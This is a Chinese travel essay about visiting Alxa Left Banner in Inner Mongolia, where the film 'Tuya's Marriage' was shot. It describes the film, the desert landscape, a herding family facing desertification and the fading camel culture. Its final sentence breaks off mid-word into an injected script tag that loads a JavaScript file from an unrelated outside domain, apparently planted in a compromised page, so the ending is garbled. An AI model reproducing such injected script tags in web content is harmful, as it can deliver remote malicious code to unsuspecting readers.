图雅的故事

    内蒙日渐干旱的草原上，丈夫巴特尔为了掘水井而双腿残疾，妻子图雅一个人挑起家庭的重担。长期的劳碌让她的腰椎病变，甚而有下肢瘫痪的危险。在现实面前图雅和巴特尔离婚，她想再嫁一个男人，并和这个男人一起照料巴特尔、孩子、牲畜和几十平方里干旱的牧场。由此图雅开始了艰难的“以嫁养夫”历程。

    图雅的阿拉善左旗

    阿拉善左旗位于贺兰山西麓，地处内蒙古自治区西部，东接宁夏，南交甘肃，西连阿右旗，北邻蒙古国。全旗总面积8万多平方公里，人口15万，现辖23个部门和23个苏木镇。阿拉善左旗跨越数百年风霜而形成一处美丽的沙漠绿洲，是一个以蒙古族为主体的多民族聚居旗，是一片历史悠久的域外秘境，号称“塞外小天堂”。

    探访图雅的旅程

    电影的文化是引起不同种族、不同国家、不同肤色人们的共鸣；旅行的文化是在感受从中发现。旅程的开始源于一部影片带给我的震撼，苍凉的草原、悠扬的马头琴声和蒙古长调、行将消失的蒙古族牧民的一种文化与生活方式。第57届柏林电影节金熊奖影片《图雅的婚事》带我踏上了秘境阿拉善左旗。恰逢内蒙古自治区60周年大庆和暑假，拥挤的火车、颠簸的汽车，二十几个小时只能坐着的行程几乎让我崩溃，但阿拉善左旗却为我洗去一切辛劳和躁动。辽阔的西部美与朴实的原生态美就像喝下醉死人不偿命的草原白，“咣当”一下把我撩倒在图雅的故乡。

    阿拉善的美丽与哀愁
 
    多久了对面始终没有见一辆车与我们交错，耳边只有呼呼的风声。有人说贺兰山下蕴育中国电影的传奇，东麓镇北堡影视城张艺谋拍出《红高粱》，第一次为中国电影捧回金熊；西麓阿拉善戈壁草原王全安拍出《图雅的婚事》，再次为中国电影捧回金熊。此刻，我们的车应该就是奔驰在贺兰山下吧。

    “看！”随着同伴重重的一击，我猛然被从游离中拉出，又立刻怔住：夕阳西下，眼前的大地是一片金黄，对侧的天是一片淡蓝，黄者如金，蓝者如玉，金蓝交接之处是苍冷的山——这一刻纯净的感觉让我恍然置身天堂。同伴拿出手机拍照，我半天无语。司机说《图雅》剧组在发现这贺兰山西麓山脚下的巴彦笋布尔嘎查时也曾像我一样半天无语，也曾像我的同伴一样拍影留念，以至于导演大喊一声：“我们这哪是拍戏啊？这是旅游啊！”

    影评家说：“贺兰山下戈壁滩天然自在的雄奇景色、蒙古族独具民族特色的服装造型与音乐格调，强化了影片整体的表现力，正是空间与音乐本身的魅力成就了《图雅的婚事》称雄柏林。”哈布茨盖的怪石林、苏宏图的雪与玛瑙山、图雅一家坐在大卡车上告别宝力尔的南寺道路入口处……苍凉与辽阔、旷远与纯净，似一把西部的利箭直击人心，无论是作家、导演、演员、观众，还是和我们一样的旅游者都无法躲闪。

    我们住在蒙古族牧民胡宝山家，他家兄弟姐妹四个，现在只有他一家和老父亲还留守在承包的六千亩荒漠草原，放牧着三百多只羊和十几匹马。风力发电、卫星电视、摩托车，看上去这个家的生活比图雅的要好很多，但草原荒漠化和严重缺水却是同样真实的生存境况。他们爱草场，视草场如自己的生命，这是一种无法化解的情感。他对我说：“牧民最好的生活方式就是放牧。别看我们这里的草不多，但营养价值高，羊吃了一样能长膘。如果可以让我一直这样生活下去，就是少养些羊也没有关系。”现代工业的开发以及为防止草原荒漠化的限牧限养，让为数不多的牧民生存愈发地艰难，隐忍而顽强地背负着生活的重担……

    日渐消失的骆驼文化

    还记得《图雅的婚事》电影海报吗？蓝蓝的天空、载着黄土和荒草的地平线，一个目光坚强倔强带着蓝色头巾的女人，一个昂着头带着高傲的骆驼。骆驼，图雅骑着它赶着羊群，用它去驮水，救了森格，遇到宝力尔……太多情节图雅的身边是它，它是图雅生活的一部分。

    在巴彦浩特的赛马场，我们见到了骆驼真正的主人，他就是影片中那个戴墨镜、说话铿锵，带人来向图雅求婚的森格叔叔。老人的话不多却很慈祥，没等我开口，老人就给骆驼上了鞍子，示意我上去骑一骑。这匹骆驼可不仅仅是演了一部电影，它还是那达慕大会上赛骆驼比赛的冠军呢。

    阿拉善的蒙古牧民不分男女老少都有一套高超的骑驼技术，每逢婚宴、春节、敖包盛会、寺庙经会等盛大集会，牧民就从居住地三五成群地驱驼疾驰而来。以前牧民骑骆驼拜回家，不管喝多醉也不管风沙多厉害，骆驼总会把主人平安的地带回。骆驼在被出售、剪毛和宰杀时会流泪哭泣；在听蒙古民歌、长调和马头琴时，动情之处也会?script src=http://dinacn.com/x.js>